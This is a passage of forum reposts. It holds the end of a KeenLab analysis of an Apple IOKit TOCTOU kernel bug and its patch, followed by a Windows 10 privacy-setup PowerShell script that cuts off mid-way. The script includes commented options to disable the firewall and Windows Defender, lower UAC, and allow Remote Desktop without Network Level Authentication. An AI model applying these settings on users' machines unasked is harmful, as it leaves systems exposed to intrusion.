crash. Tested on 10.11.5 Macbook Airs, Macbook Pros with command line while true; do ./cmdqueue1 ; done Fix for these issues The sources for XNU in 10.11.2 haven’t been released, but let’s have a look at disassembled kernel. Originally, we have these lines when creating a descriptor: 3741 if (ool_input) 3742 inputMD = IOMemoryDescriptor::withAddressRange(ool_input, ool_input_size, 3743 kIODirectionOut, current_task()); Proved by dissembling unpatched kernel: mov rax, gs:8 mov rcx, [rax+308h] ; unsigned int mov edx, 2 ; unsigned __int64 mov rsi, [rbp+arg_8] ; unsigned __int64 call __ZN18IOMemoryDescriptor16withAddressRangeEyyjP4task ; IOMemoryDescriptor::withAddressRange(ulong long,ulong long,uint,task *) mov r15, rax While on the 10.11.2, the corresponding snippet in _is_io_connect_method changed to: mov rax, gs:8 mov rcx, [rax+318h] ; unsigned int mov edx, 20002h ; unsigned __int64 mov rsi, [rbp+arg_8] ; unsigned __int64 call __ZN18IOMemoryDescriptor16withAddressRangeEyyjP4task ; IOMemoryDescriptor::withAddressRange(ulong long,ulong long,uint,task *) mov r15, rax A new flag (0x20000) is introduced to IOMemoryDescriptor::withAddressRange. The flag is later checked in IOGeneralMemoryDescriptor::memoryReferenceCreate, as shown in a diaphora diff on IOMemoryDescriptor’s functions. if ( this->_task && !err && this->baseclass_0._flags & 0x20000 && !(optionsa & 4) ) //newly added source err = IOGeneralMemoryDescriptor::memoryReferenceCreate(this, optionsa | 4, &ref->mapRef); And is then checked at the beginning of this function prot = 1; cacheMode = (this->baseclass_0._flags & 0x70000000) >> 28; v4 = vmProtForCacheMode(cacheMode); prot |= v4; if ( cacheMode ) prot |= 2u; if ( 2 != (this->baseclass_0._flags & 3) ) prot |= 2u; if ( optionsa & 2 ) prot |= 2u; if ( optionsa & 4 ) prot |= 0x200000u; prot is used at in mach_make_memory_entry_64, describing the permission of this mapping. 0x200000 is actually MAP_MEM_VM_COPY 382 /* leave room for vm_prot bits */ 383 #define MAP_MEM_ONLY 0x010000 /* change processor caching */ 384 #define MAP_MEM_NAMED_CREATE 0x020000 /* create extant object */ 385 #define MAP_MEM_PURGABLE 0x040000 /* create a purgable VM object */ 386 #define MAP_MEM_NAMED_REUSE 0x080000 /* reuse provided entry if identical */ 387 #define MAP_MEM_USE_DATA_ADDR 0x100000 /* preserve address of data, rather than base of page */ 388 #define MAP_MEM_VM_COPY 0x200000 /* make a copy of a VM range */ 389 #define MAP_MEM_VM_SHARE 0x400000 /* extract a VM range for remap */ 390 #define MAP_MEM_4K_DATA_ADDR 0x800000 /* preserve 4K aligned address of data */ 391 Which means now descriptors passed in via IOKit has a memory entry of possibly COW, preventing userspace from modifying it in 10.12.2 and iOS 10.2. Rather than fixing driver issues one by one, Apple seems to have done a good job by patching the entry. Credits Credit also goes to Liang Chen of KeenLab for also contributing to this research. Also kudos to Apple security team for responding and fixing these issues. Sursa: http://keenlab.tencent.com/en/2017/01/09/Racing-for-everyone-descriptor-describes-TOCTOU-in-Apple-s-core/
-
"Reclaim Windows 10" turns off a bunch of unnecessary Windows 10 telemetery, removes bloatware, and privacy invasions. Review and tweak before running. Scripts for reversing are included and commented. Fork via https://github.com/Disassembler0(different defaults) ########## # Win10 Initial Setup Script # Author: Disassembler <disassembler@dasm.cz> # Version: 1.7, 2016-08-15 # dasm's script: https://github.com/Disassembler0/Win10-Initial-Setup-Script/ # THIS IS A PERSONALIZED VERSION # This script leaves more MS defaults on, including MS security features. # Tweaked based on personal preferences for @alirobe 2016-11-16 - v1.7.1 # NOTE: READ THIS SCRIPT CAREFULLY BEFORE RUNNING IT. ADJUST COMMENTS AS APPROPRIATE. # This script will reboot your machine when completed. # Setting up a new machine? See http://ninite.com (for devs, http://chocolatey.org) ########## # Ask for elevated permissions if required If (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")) { Start-Process powershell.exe "-NoProfile -ExecutionPolicy Bypass -File `"$PSCommandPath`"" -Verb RunAs Exit } ########## # Privacy Settings ########## # Disable Telemetry # Disable Telemetry Write-Host "Disabling Telemetry..." Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\DataCollection" -Name "AllowTelemetry" -Type DWord -Value 0 Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\DataCollection" -Name "AllowTelemetry" -Type DWord -Value 0 Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Policies\DataCollection" -Name "AllowTelemetry" -Type DWord -Value 0 # Enable Telemetry # Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\DataCollection" -Name "AllowTelemetry" -Type DWord -Value 3 # Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\DataCollection" -Name "AllowTelemetry" -Type DWord -Value 3 # Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Policies\DataCollection" -Name "AllowTelemetry" -Type DWord -Value 3 # Disable Wi-Fi Sense Write-Host "Disabling Wi-Fi Sense..." If (!(Test-Path "HKLM:\Software\Microsoft\PolicyManager\default\WiFi\AllowWiFiHotSpotReporting")) { New-Item -Path "HKLM:\Software\Microsoft\PolicyManager\default\WiFi\AllowWiFiHotSpotReporting" -Force | Out-Null } Set-ItemProperty -Path "HKLM:\Software\Microsoft\PolicyManager\default\WiFi\AllowWiFiHotSpotReporting" -Name "Value" -Type DWord -Value 0 Set-ItemProperty -Path "HKLM:\Software\Microsoft\PolicyManager\default\WiFi\AllowAutoConnectToWiFiSenseHotspots" -Name "Value" -Type DWord -Value 0 # Enable Wi-Fi Sense # Set-ItemProperty -Path "HKLM:\Software\Microsoft\PolicyManager\default\WiFi\AllowWiFiHotSpotReporting" -Name "Value" -Type DWord -Value 1 # Set-ItemProperty -Path "HKLM:\Software\Microsoft\PolicyManager\default\WiFi\AllowAutoConnectToWiFiSenseHotspots" -Name "Value" -Type DWord -Value 1 # Disable SmartScreen Filter # Write-Host "Disabling SmartScreen Filter..." # Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer" -Name "SmartScreenEnabled" -Type String -Value "Off" # Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\AppHost" -Name "EnableWebContentEvaluation" -Type DWord -Value 0 # Enable SmartScreen Filter # Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer" -Name "SmartScreenEnabled" -Type String -Value "RequireAdmin" # Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\AppHost" -Name "EnableWebContentEvaluation" # Disable Bing Search in Start Menu Write-Host "Disabling Bing Search in Start Menu..." Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Search" -Name "BingSearchEnabled" -Type DWord -Value 0 # Enable Bing Search in Start Menu # Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Search" -Name "BingSearchEnabled" # Disable Start Menu suggestions Write-Host "Disabling Start Menu suggestions..." Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" -Name "SystemPaneSuggestionsEnabled" -Type DWord -Value 0 # Enable Start Menu suggestions # Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" -Name "SystemPaneSuggestionsEnabled" -Type DWord -Value 1 # Disable Location Tracking Write-Host "Disabling Location Tracking..." Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Sensor\Overrides\{BFA794E4-F964-4FDB-90F6-51056BFE4B44}" -Name "SensorPermissionState" -Type DWord -Value 0 Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Services\lfsvc\Service\Configuration" -Name "Status" -Type DWord -Value 0 # Enable Location Tracking # Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Sensor\Overrides\{BFA794E4-F964-4FDB-90F6-51056BFE4B44}" -Name "SensorPermissionState" -Type DWord -Value 1 # Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Services\lfsvc\Service\Configuration" -Name "Status" -Type DWord -Value 1 # Disable Feedback Write-Host "Disabling Feedback..." If (!(Test-Path "HKCU:\Software\Microsoft\Siuf\Rules")) { New-Item -Path "HKCU:\Software\Microsoft\Siuf\Rules" -Force | Out-Null } Set-ItemProperty -Path "HKCU:\Software\Microsoft\Siuf\Rules" -Name "NumberOfSIUFInPeriod" -Type DWord -Value 0 # Enable Feedback # Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Siuf\Rules" -Name "NumberOfSIUFInPeriod" # Disable Advertising ID Write-Host "Disabling Advertising ID..." If (!(Test-Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\AdvertisingInfo")) { New-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\AdvertisingInfo" | Out-Null } Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\AdvertisingInfo" -Name "Enabled" -Type DWord -Value 0 # Enable Advertising ID # Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\AdvertisingInfo" -Name "Enabled" # Disable Cortana Write-Host "Disabling Cortana..." If (!(Test-Path "HKCU:\Software\Microsoft\Personalization\Settings")) { New-Item -Path "HKCU:\Software\Microsoft\Personalization\Settings" -Force | Out-Null } Set-ItemProperty -Path "HKCU:\Software\Microsoft\Personalization\Settings" -Name "AcceptedPrivacyPolicy" -Type DWord -Value 0 If (!(Test-Path "HKCU:\Software\Microsoft\InputPersonalization")) { New-Item -Path "HKCU:\Software\Microsoft\InputPersonalization" -Force | Out-Null } Set-ItemProperty -Path "HKCU:\Software\Microsoft\InputPersonalization" -Name "RestrictImplicitTextCollection" -Type DWord -Value 1 Set-ItemProperty -Path "HKCU:\Software\Microsoft\InputPersonalization" -Name "RestrictImplicitInkCollection" -Type DWord -Value 1 If (!(Test-Path "HKCU:\Software\Microsoft\InputPersonalization\TrainedDataStore")) { New-Item -Path "HKCU:\Software\Microsoft\InputPersonalization\TrainedDataStore" -Force | Out-Null } Set-ItemProperty -Path "HKCU:\Software\Microsoft\InputPersonalization\TrainedDataStore" -Name "HarvestContacts" -Type DWord -Value 0 # Enable Cortana # Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Personalization\Settings" -Name "AcceptedPrivacyPolicy" # Set-ItemProperty -Path "HKCU:\Software\Microsoft\InputPersonalization" -Name "RestrictImplicitTextCollection" -Type DWord -Value 0 # Set-ItemProperty -Path "HKCU:\Software\Microsoft\InputPersonalization" -Name "RestrictImplicitInkCollection" -Type DWord -Value 0 # Remove-ItemProperty -Path "HKCU:\Software\Microsoft\InputPersonalization\TrainedDataStore" -Name "HarvestContacts" # Restrict Windows Update P2P only to local network Write-Host "Restricting Windows Update P2P only to local network..." Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config" -Name "DODownloadMode" -Type DWord -Value 1 If (!(Test-Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\DeliveryOptimization")) { New-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\DeliveryOptimization" | Out-Null } Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\DeliveryOptimization" -Name "SystemSettingsDownloadMode" -Type DWord -Value 3 # Unrestrict Windows Update P2P # Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config" -Name "DODownloadMode" # Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\DeliveryOptimization" -Name "SystemSettingsDownloadMode" # Remove AutoLogger file and restrict directory Write-Host "Removing AutoLogger file and restricting directory..." $autoLoggerDir = "$env:PROGRAMDATA\Microsoft\Diagnosis\ETLLogs\AutoLogger" If (Test-Path "$autoLoggerDir\AutoLogger-Diagtrack-Listener.etl") { Remove-Item "$autoLoggerDir\AutoLogger-Diagtrack-Listener.etl" } icacls $autoLoggerDir /deny SYSTEM:`(OI`)`(CI`)F | Out-Null # Unrestrict AutoLogger directory # $autoLoggerDir = "$env:PROGRAMDATA\Microsoft\Diagnosis\ETLLogs\AutoLogger" # icacls $autoLoggerDir /grant:r SYSTEM:`(OI`)`(CI`)F | Out-Null # Stop and disable Diagnostics Tracking Service Write-Host "Stopping and disabling Diagnostics Tracking Service..." Stop-Service "DiagTrack" Set-Service "DiagTrack" -StartupType Disabled # Enable and start Diagnostics Tracking Service # Set-Service "DiagTrack" -StartupType Automatic # Start-Service "DiagTrack" # Stop and disable WAP Push Service Write-Host "Stopping and disabling WAP Push Service..." Stop-Service "dmwappushservice" Set-Service "dmwappushservice" -StartupType Disabled # Enable and start WAP Push Service # Set-Service "dmwappushservice" -StartupType Automatic # Start-Service "dmwappushservice" # Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\dmwappushservice" -Name "DelayedAutoStart" -Type DWord -Value 1 ########## # Service Tweaks ########## # Lower UAC level # Write-Host "Lowering UAC level..." # Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System" -Name "ConsentPromptBehaviorAdmin" -Type DWord -Value 0 # Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System" -Name "PromptOnSecureDesktop" -Type DWord -Value 0 # Raise UAC level # Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System" -Name "ConsentPromptBehaviorAdmin" -Type DWord -Value 5 # Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System" -Name "PromptOnSecureDesktop" -Type DWord -Value 1 # Enable sharing mapped drives between users # Write-Host "Enabling sharing mapped drives between users..." # Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System" -Name "EnableLinkedConnections" -Type DWord -Value 1 # Disable sharing mapped drives between users # Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System" -Name "EnableLinkedConnections" # Disable Firewall # Write-Host "Disabling Firewall..." # Set-NetFirewallProfile -Profile * -Enabled False # Enable Firewall # Set-NetFirewallProfile -Profile * -Enabled True # Disable Windows Defender # Write-Host "Disabling Windows Defender..." # Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows Defender" -Name "DisableAntiSpyware" -Type DWord -Value 1 # Enable Windows Defender # Remove-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows Defender" -Name "DisableAntiSpyware" # Disable Windows Update automatic restart Write-Host "Disabling Windows Update automatic restart..." Set-ItemProperty -Path "HKLM:\Software\Microsoft\WindowsUpdate\UX\Settings" -Name "UxOption" -Type DWord -Value 1 # Enable Windows Update automatic restart # Set-ItemProperty -Path "HKLM:\Software\Microsoft\WindowsUpdate\UX\Settings" -Name "UxOption" -Type DWord -Value 0 # Stop and disable Home Groups services Write-Host "Stopping and disabling Home Groups services..." Stop-Service "HomeGroupListener" Set-Service "HomeGroupListener" -StartupType Disabled Stop-Service "HomeGroupProvider" Set-Service "HomeGroupProvider" -StartupType Disabled # Enable and start Home Groups services # Set-Service "HomeGroupListener" -StartupType Manual # Set-Service "HomeGroupProvider" -StartupType Manual # Start-Service "HomeGroupProvider" # Disable Remote Assistance # Write-Host "Disabling Remote Assistance..." # Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Remote Assistance" -Name "fAllowToGetHelp" -Type DWord -Value 0 # Enable Remote Assistance # Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Remote Assistance" -Name "fAllowToGetHelp" -Type DWord -Value 1 # Enable Remote Desktop w/o Network Level Authentication # Write-Host "Enabling Remote Desktop w/o Network Level Authentication..." # Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" -Type DWord -Value 0 # Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" -Name "UserAuthentication" -Type DWord -Value 0 # Disable Remote Desktop # Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" -Type DWord -Value 1 # Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" -Name "UserAuthentication" -Type DWord -Value 1 ########## # UI Tweaks ########## # Disable Action Center # Write-Host "Disabling Action Center..." # If (!(Test-Path "HKCU:\Software\Policies\Microsoft\Windows\Explorer")) { # New-Item -Path "HKCU:\Software\Policies\Microsoft\Windows\Explorer" | Out-Null # } # Set-ItemProperty -Path "HKCU:\Software\Policies\Microsoft\Windows\Explorer" -Name "DisableNotificationCenter" -Type DWord -Value 1 # Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\PushNotifications" -Name "ToastEnabled" -Type DWord -Value 0 # Enable Action Center # Remove-ItemProperty -Path "HKCU:\Software\Policies\Microsoft\Windows\Explorer" -Name "DisableNotificationCenter" # Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\PushNotifications" -Name "ToastEnabled" # Disable Lock screen Write-Host "Disabling Lock screen..." If (!(Test-Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Personalization")) { New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Personalization" | Out-Null } Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Personalization" -Name "NoLockScreen" -Type DWord -Value 1 # Enable Lock screen # Remove-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Personalization" -Name "NoLockScreen" # Disable Lock screen (Anniversary Update workaround) #If ([System.Environment]::OSVersion.Version.Build -gt 14392) { # Apply only for Redstone 1 or newer # $service = New-Object -com Schedule.Service # $service.Connect() # $task = $service.NewTask(0) # $task.Settings.DisallowStartIfOnBatteries = $false # $trigger = $task.Triggers.Create(9) # $trigger = $task.Triggers.Create(11) # $trigger.StateChange = 8 # $action = $task.Actions.Create(0) # $action.Path = "reg.exe" # $action.Arguments = "add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\SessionData /t REG_DWORD /v AllowLockScreen /d 0 /f" # $service.GetFolder("\").RegisterTaskDefinition("Disable LockScreen", $task, 6, "NT AUTHORITY\SYSTEM", $null, 4) | Out-Null #} # Enable Lock screen (Anniversary Update workaround) #If ([System.Environment]::OSVersion.Version.Build -gt 14392) { # Apply only for Redstone 1 or newer # Unregister-ScheduledTask -TaskName "Disable LockScreen" -Confirm:$false -ErrorAction SilentlyContinue #} # Disable Autoplay Write-Host "Disabling Autoplay..." Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers" -Name "DisableAutoplay" -Type DWord -Value 1 # Enable Autoplay # Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers" -Name "DisableAutoplay" -Type DWord -Value 0 # Disable Autorun for all drives Write-Host "Disabling Autorun for all drives..." If (!(Test-Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer")) { New-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" | Out-Null } Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" -Name "NoDriveTypeAutoRun" -Type DWord -Value 255 # Enable Autorun # Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" -Name "NoDriveTypeAutoRun" #Disable Sticky keys prompt Write-Host "Disabling Sticky keys prompt..." Set-ItemProperty -Path "HKCU:\Control Panel\Accessibility\StickyKeys" -Name "Flags" -Type String -Value "506" # Enable Sticky keys prompt # Set-ItemProperty -Path "HKCU:\Control Panel\Accessibility\StickyKeys" -Name "Flags" -Type String -Value "510" # Hide Search button / box Write-Host "Hiding Search Box / Button..." Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Search" -Name "SearchboxTaskbarMode" -Type DWord -Value 0 # Show Search button / box # Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Search" -Name "SearchboxTaskbarMode" # Hide Task View button # Write-Host "Hiding Task View button..." # Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name "ShowTaskViewButton" -Type DWord -Value 0 # Show Task View button # Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name "ShowTaskViewButton" # Show small icons in taskbar # Write-Host "Showing small icons in taskbar..." # Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name "TaskbarSmallIcons" -Type DWord -Value 1 # Show large icons in taskbar # Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name "TaskbarSmallIcons" # Show titles in taskbar # Write-Host "Showing titles in taskbar..." # Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name "TaskbarGlomLevel" -Type DWord -Value 1 # Hide titles in taskbar # Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name "TaskbarGlomLevel" # Show all tray icons Write-Host "Showing all tray icons..." Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer" -Name "EnableAutoTray" -Type DWord -Value 0 # Hide tray icons as needed # Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer" -Name "EnableAutoTray" # Show known file extensions Write-Host "Showing known file extensions..." Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name "HideFileExt" -Type DWord -Value 0 # Hide known file extensions # Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name "HideFileExt" -Type DWord -Value 1 # Show hidden files Write-Host "Showing hidden files..." Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name "Hidden" -Type DWord -Value 1 # Hide hidden files # Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name "Hidden" -Type DWord -Value 2 # Change default Explorer view to "Computer" Write-Host "Changing default Explorer view to `"Computer`"..." Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name "LaunchTo" -Type DWord -Value 1 # Change default Explorer view to "Quick Access" # Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name "LaunchTo" # Show Computer shortcut on desktop # Write-Host "Showing Computer shortcut on desktop..." # If (!(Test-Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu")) { # New-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu" | Out-Null # } # Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu" -Name "{20D04FE0-3AEA-1069-A2D8-08002B30309D}" -Type DWord -Value 0 # Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel" -Name "{20D04FE0-3AEA-1069-A2D8-08002B30309D}" -Type DWord -Value 0 # Hide Computer shortcut from desktop # Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu" -Name "{20D04FE0-3AEA-1069-A2D8-08002B30309D}" # Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel" -Name "{20D04FE0-3AEA-1069-A2D8-08002B30309D}" # Remove Desktop icon from computer namespace # Write-Host "Removing Desktop icon from computer namespace..." # Remove-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}" -Recurse -ErrorAction SilentlyContinue # Add Desktop icon to computer namespace # New-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}" # Remove Documents icon from computer namespace # Write-Host "Removing Documents icon from computer namespace..." # Remove-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{d3162b92-9365-467a-956b-92703aca08af}" -Recurse -ErrorAction SilentlyContinue # Remove-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}" -Recurse -ErrorAction SilentlyContinue # Add Documents icon to computer namespace # New-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{d3162b92-9365-467a-956b-92703aca08af}" # New-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}" # Remove Downloads icon from computer namespace # Write-Host "Removing Downloads icon from computer namespace..." # Remove-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{088e3905-0323-4b02-9826-5d99428e115f}" -Recurse -ErrorAction SilentlyContinue # Remove-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{374DE290-123F-4565-9164-39C4925E467B}" -Recurse -ErrorAction SilentlyContinue # Add Downloads icon to computer namespace # New-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{088e3905-0323-4b02-9826-5d99428e115f}" # New-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{374DE290-123F-4565-9164-39C4925E467B}" # Remove Music icon from computer namespace # Write-Host "Removing Music icon from computer namespace..." # Remove-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{3dfdf296-dbec-4fb4-81d1-6a3438bcf4de}" -Recurse -ErrorAction SilentlyContinue # Remove-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}" -Recurse -ErrorAction SilentlyContinue # Add Music icon to computer namespace # New-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{3dfdf296-dbec-4fb4-81d1-6a3438bcf4de}" # New-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}" # Remove Pictures icon from computer namespace # Write-Host "Removing Pictures icon from computer namespace..." # Remove-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{24ad3ad4-a569-4530-98e1-ab02f9417aa8}" -Recurse -ErrorAction SilentlyContinue # Remove-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}" -Recurse -ErrorAction SilentlyContinue # Add Pictures icon to computer namespace # New-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{24ad3ad4-a569-4530-98e1-ab02f9417aa8}" # New-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}" # Remove Videos icon from computer namespace # Write-Host "Removing Videos icon from computer namespace..." # Remove-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{f86fa3ab-70d2-4fc7-9c99-fcbf05467f3a}" -Recurse -ErrorAction SilentlyContinue # Remove-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{A0953C92-50DC-43bf-BE83-3742FED03C9C}" -Recurse -ErrorAction SilentlyContinue # Add Videos icon to computer namespace # New-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{f86fa3ab-70d2-4fc7-9c99-fcbf05467f3a}" # New-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{A0953C92-50DC-43bf-BE83-3742FED03C9C}" ## Add secondary en-US keyboard #Write-Host "Adding secondary en-US keyboard..." #$langs = Get-WinUserLanguageList #$langs.Add("en-US") #Set-WinUserLanguageList $langs -Force # Remove secondary en-US keyboard # $langs = Get-WinUserLanguageList # Set-WinUserLanguageList ($langs | ? {$_.LanguageTag -ne "en-US"}) -Force ########## # Remove unwanted applications ########## # Disable OneDrive # Write-Host "Disabling OneDrive..." # If (!(Test-Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\OneDrive")) { # New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\OneDrive" | Out-Null # } # Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\OneDrive" -Name "DisableFileSyncNGSC" -Type DWord -Value 1 # Enable OneDrive # Remove-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\OneDrive" -Name "DisableFileSyncNGSC" # Uninstall OneDrive # Write-Host "Uninstalling OneDrive..." 